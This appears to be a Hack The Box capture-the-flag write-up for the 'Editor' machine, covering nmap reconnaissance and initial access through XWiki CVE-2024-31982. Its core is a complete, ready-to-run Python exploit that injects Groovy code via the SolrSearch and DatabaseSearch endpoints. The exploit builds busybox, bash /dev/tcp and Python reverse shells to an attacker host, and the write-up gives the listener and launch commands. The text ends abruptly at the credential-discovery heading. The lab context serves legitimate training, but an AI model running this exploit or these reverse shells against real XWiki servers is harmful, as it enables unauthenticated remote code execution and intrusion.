HTB Editor Box - Complete Writeup
Difficulty: Easy
OS: Linux
Overview
Editor is an easy-level Linux machine that demonstrates real-world vulnerabilities in web applications. The attack path involves exploiting a CVE in XWiki, credential harvesting from configuration files, and privilege escalation through a vulnerable SUID binary.
Key Learning Points:
- XWiki Groovy Code Injection (CVE-2024-31982)
- Configuration file enumeration
- SUID binary exploitation
- PATH manipulation attacks
Reconnaissance & Enumeration
Nmap Port Scan
Starting with a comprehensive port scan to identify running services:
nmap -sC -sV -oA editor 10.x.x.x
Results:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-02 15:37 CDT
Host is up (0.082s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Editor - SimplistCode Pro
8080/tcp open http Jetty 10.0.20
|_http-open-proxy: Proxy might be redirecting requests
| http-methods:
|_ Potentially risky methods: PROPFIND LOCK UNLOCK
|_http-server-header: Jetty(10.0.20)
| http-robots.txt: 50 disallowed entries (15 shown)
| /xwiki/bin/viewattachrev/ /xwiki/bin/viewrev/
| /xwiki/bin/pdf/ /xwiki/bin/edit/ /xwiki/bin/create/
| /xwiki/bin/inline/ /xwiki/bin/preview/ /xwiki/bin/save/
| /xwiki/bin/saveandcontinue/ /xwiki/bin/rollback/ /xwiki/bin/deleteversions/
| /xwiki/bin/cancel/ /xwiki/bin/delete/ /xwiki/bin/deletespace/
|_/xwiki/bin/undelete/
| http-webdav-scan:
| Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, LOCK, UNLOCK
| WebDAV type: Unknown
|_ Server Type: Jetty(10.0.20)
| http-cookie-flags:
| /:
| JSESSIONID:
|_ httponly flag not set
| http-title: XWiki - Main - Intro
|_Requested resource was http://editor.htb:8080/xwiki/bin/view/Main/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.09 seconds
Key Findings:
- Port 22: SSH service (OpenSSH 8.9p1)
- Port 80: Nginx web server hosting "Editor - SimplistCode Pro"
- Port 8080: Jetty server running XWiki application
The most interesting finding is the XWiki instance on port 8080, which shows multiple administrative endpoints in robots.txt and uses WebDAV methods.
XWiki Version Discovery
Navigating to http://editor.htb:8080/xwiki
reveals an XWiki installation:
Critical Discovery: XWiki Version 15 is vulnerable to CVE-2024-31982 - a remote code execution vulnerability through Groovy script injection.
Initial Foothold - XWiki CVE-2024-31982
Vulnerability Analysis
CVE-2024-31982 affects XWiki versions and allows unauthenticated remote code execution through:
- Groovy script injection in search endpoints
- Bypass of access controls through RSS feed functionality
- Multiple attack vectors via different endpoints (
SolrSearch
,DatabaseSearch
)
Exploit Development
Created a comprehensive Python exploit that handles multiple attack scenarios:
#!/usr/bin/env python3
import requests
import argparse
import urllib.parse
import urllib3
from html import unescape
import sys
# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class XWikiExploit:
def __init__(self, target):
self.target = target
self.base_url = self.detect_protocol()
def detect_protocol(self):
"""Auto-detect HTTP/HTTPS and verify target accessibility"""
protocols = ['https', 'http']
for protocol in protocols:
test_url = f"{protocol}://{self.target}"
try:
response = requests.get(f"{test_url}/xwiki", timeout=5, verify=False)
if response.status_code < 400:
print(f"[✓] Target accessible: {test_url}")
return test_url
except:
continue
print("[!] Target not accessible")
sys.exit(1)
def build_groovy_payload(self, command):
"""Construct Groovy command execution payload"""
groovy_template = (
"def sout = new StringBuilder(), serr = new StringBuilder(); "
"def proc = '{cmd}'.execute(); "
"proc.consumeProcessOutput(sout, serr); "
"proc.waitForOrKill(3000); "
"println \"$sout$serr\";"
)
return groovy_template.format(cmd=command.replace('"', '\\"'))
def build_reverse_shell_payload(self, lhost, lport, shell_type="busybox"):
"""Build reverse shell payload"""
if shell_type == "busybox":
cmd = f"busybox nc {lhost} {lport} -e /bin/sh"
elif shell_type == "bash":
cmd = f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"
elif shell_type == "python":
cmd = f"python3 -c \"import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('{lhost}',{lport}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i'])\""
return cmd
def execute_command(self, command, endpoint="SolrSearch"):
"""Execute command and return output"""
groovy_payload = self.build_groovy_payload(command)
# Construct the injection payload
injection = "}}}{{async async=false}}{{groovy}}" + groovy_payload + "{{/groovy}}{{/async}}"
# URL encode the payload
encoded_payload = urllib.parse.quote_plus(injection)
# Build endpoint URL
if endpoint == "SolrSearch":
endpoint_url = self.base_url + "/xwiki/bin/get/Main/SolrSearch?media=rss&text=" + encoded_payload
elif endpoint == "DatabaseSearch":
endpoint_url = self.base_url + "/xwiki/bin/get/Main/DatabaseSearch?outputSyntax=plain&space=&text=" + encoded_payload
try:
response = requests.get(endpoint_url, timeout=10, verify=False)
if response.status_code == 200:
return self.extract_output(response.text)
else:
return f"HTTP {response.status_code}: {response.text[:200]}"
except Exception as e:
return f"Request failed: {str(e)}"
def extract_output(self, response_text):
"""Extract command output from RSS response"""
import re
# Try multiple extraction patterns
patterns = [
r'<description>RSS feed for search on \}}}(.*?)</description>',
r'<description>(.*?)</description>',
r'<content:encoded><!\[CDATA\[(.*?)\]\]></content:encoded>'
]
for pattern in patterns:
matches = re.findall(pattern, response_text, re.DOTALL)
if matches:
return unescape(matches[0].strip())
return "No output extracted"
def send_reverse_shell(self, lhost, lport, shell_type="busybox"):
"""Send reverse shell payload"""
print(f"[+] Sending {shell_type} reverse shell to {lhost}:{lport}")
command = self.build_reverse_shell_payload(lhost, lport, shell_type)
encoded_command = command.replace('"', '\\"')
# Use SolrSearch for reverse shells (fire and forget)
injection = "}}}{{async async=false}}{{groovy}}\"" + encoded_command + "\".execute(){{/groovy}}{{/async}}"
encoded_payload = urllib.parse.quote_plus(injection)
endpoint_url = self.base_url + "/xwiki/bin/get/Main/SolrSearch?media=rss&text=" + encoded_payload
try:
requests.get(endpoint_url, timeout=5, verify=False)
print("[✓] Reverse shell payload sent")
except:
print("[✓] Payload sent (connection may have been cut)")
def main():
parser = argparse.ArgumentParser(description='XWiki CVE-2024-31982 Exploit')
parser.add_argument('-t', '--target', required=True, help='Target (e.g., editor.htb:8080)')
parser.add_argument('-c', '--command', help='Command to execute')
parser.add_argument('-r', '--reverse-shell', action='store_true', help='Send reverse shell')
parser.add_argument('--lhost', help='Local host for reverse shell')
parser.add_argument('--lport', help='Local port for reverse shell')
parser.add_argument('--shell-type', choices=['busybox', 'bash', 'python'], default='busybox')
parser.add_argument('--endpoint', choices=['SolrSearch', 'DatabaseSearch'], default='SolrSearch')
args = parser.parse_args()
# Initialize exploit
exploit = XWikiExploit(args.target)
if args.reverse_shell:
if not args.lhost or not args.lport:
print("[!] --lhost and --lport required for reverse shell")
sys.exit(1)
exploit.send_reverse_shell(args.lhost, args.lport, args.shell_type)
elif args.command:
output = exploit.execute_command(args.command, args.endpoint)
print(f"[Command Output]:\n{output}")
else:
print("[!] Specify either --command or --reverse-shell")
if __name__ == "__main__":
main()
Exploitation Process
Step 1: Set up listener
nc -lvnp 4444
Step 2: Execute reverse shell
python3 exploit.py -t editor.htb:8080 -r --lhost 10.10.xx.xx --lport 4444
Success! Obtained reverse shell as xwiki
user:
Post-Exploitation & Credential Discovery
System Enumeration
After gaining initial access as the xwiki
user, performed standard post-exploitation enumeration to understand the system and find escalation paths.
Configuration File Analysis
Key Discovery: